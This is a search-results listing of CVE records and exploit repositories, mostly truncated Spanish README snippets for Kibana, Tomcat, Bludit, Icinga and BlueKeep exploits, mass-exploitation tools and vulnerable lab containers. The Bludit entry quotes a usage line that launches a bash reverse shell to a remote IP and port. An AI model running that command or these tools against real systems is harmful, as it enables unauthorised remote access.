227158 matches found
CVE-2026-79623
FishCodeTech Muteki (up to 0.2.5 ) contains an OS command injection vulnerability in the Default Local Worker Backend component, specifically in the file .claude/settings.json. The manipulation can be initiated remotely with low privileges and no user interaction, yielding moderate impact on conf...
CVE-2022-24715-go
CVE-2022-24715 El exploit de Icinga Web 2 escrito en go. El código Python original se puede encontrar en: https://packetstormsecurity.com/files/173516/Icinga-Web-2.10-Remote-Code-Execution.html...
CVE-2019-7609-KibanaRCE
CVE-2019-7609-KibanaRCE Se realizaron cambios menores al CVE para hacerlo compatible con Python 3. cve-modific.py Aquí están las modificaciones: En la función getkibanaversion, la línea match = re.findallpattern, r.content se actualizó a match = re.findallpattern, r.text. Este cambio se realizó...
gadgetinspector
Gadget Inspector Este proyecto inspecciona bibliotecas Java y classpaths en busca de cadenas de gadgets. Las cadenas de gadgets se utilizan para construir exploits para vulnerabilidades de deserialización. Al descubrir automáticamente posibles cadenas de gadgets en el classpath de una aplicación,...
CVE-2025-24813
CVE-2025-24813 Exploit Toolkit Esta es una herramienta de explotación avanzada y automatizada para CVE-2025-24813 , dirigida a servidores Apache Tomcat vulnerables a la deserialización insegura de sesiones. 🔍 Características Escaneo de múltiples objetivos desde archivo o una sola URL --targets /...
CVE-2019-16113
CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE autenticado Uso python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Ejemplo...
XAttacker
XAttacker V2.5 Herramienta GRATIS XATTACKER Una herramienta masiva de explotación capaz de escanear y auto-explotar vulnerabilidades en aplicaciones web. Al proporcionar un sitio web objetivo a la herramienta, detecta automáticamente su arquitectura si utiliza un Sistema de Gestión de Contenidos...
exphub
Notice Al final, pensé que era muy inconveniente tener cada vulnerabilidad y cada script por separado, así que combiné todos los scripts POC y EXP en uno solo, que permite escaneo y explotación con un solo clic. Como he estado ocupado integrando recientemente, exphub ha estado estancado sin...
Remote-Buffer-overflow-CVE-2003-0172
Desbordamiento de búfer remoto CVE-2003-0172 root@kitploit: ┌──cyberdesu㉿MSI- └─$ python3 buffer.py usage: exploit.py...
CVE-2026-79622 dekdee adobe-xd-mcp file-access-from-request Endpoint xd-parser.ts path traversal
A weakness has been identified in dekdee adobe-xd-mcp 1.0.0. Impacted is an unknown function of the file src/parsers/xd-parser.ts of the component file-access-from-request Endpoint. Executing a manipulation of the argument outputFile/outputDir can lead to path traversal. It is possible to launch...
CVE-2026-79622
A path traversal vulnerability was identified in dekdee/adobe-xd-mcp version 1.0.0 , specifically in the file src/parsers/xd-parser.ts within the file-access-from-request Endpoint component. A remote attacker can manipulate the outputFile/outputDir argument to traverse the file system, leading to...
CVE-2025-31129
CVE-2025-31129 exploits para CVE-2025-31129...
cve-2019-0708
cve-2019-0708 PoC CVE-2019-0708 con script en Python! Video PoC: https://www.youtube.com/watch?v=XVmCtUMELdU...
cve-2018-9207
CVE-2018-9207 Esto es parte de Cved: una herramienta para gestionar contenedores Docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2018-9207 Autor de la imagen: https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9207...
qs_old
QuickSand.io Para QuickSand Versión 2 escrita en Python con soporte de análisis PDF, consulte quicksand.io. QuickSand Versión 1 Lite ya no está en desarrollo activo. QuickSand es un marco compacto en C para analizar documentos sospechosos de malware para 1 identificar exploits en flujos de...
cve-2016-6515
CVE-2016-6515 Esto es parte de Cved: una herramienta para gestionar contenedores docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2016-6515 Autor de la imagen: https://github.com/opsxcq/exploit-CVE-2016-6515...
cve-2015-3306
CVE-2015-3306 Esto es parte de Cved: una herramienta para gestionar contenedores docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2015-3306 Autor de la imagen: https://github.com/t0kx/exploit-CVE-2015-3306...
yasuo
YASUO @0xsauby Description Yasuo is a ruby script that scans for vulnerable 3rd-party web applications. While working on a network security assessment internal, external, redteam gigs etc., we often come across vulnerable 3rd-party web applications or web front-ends that allow us to compromise th...
cve-2019-13720
cve-2019-13720 Herramientas de Exploit CVE-2019-13720 05 Nov 2019: Lanzamiento del POC: https://www.youtube.com/watch?v=0HdRJImwYww 06 Nov 2019: Lanzamiento de la Herramienta. [email protected]...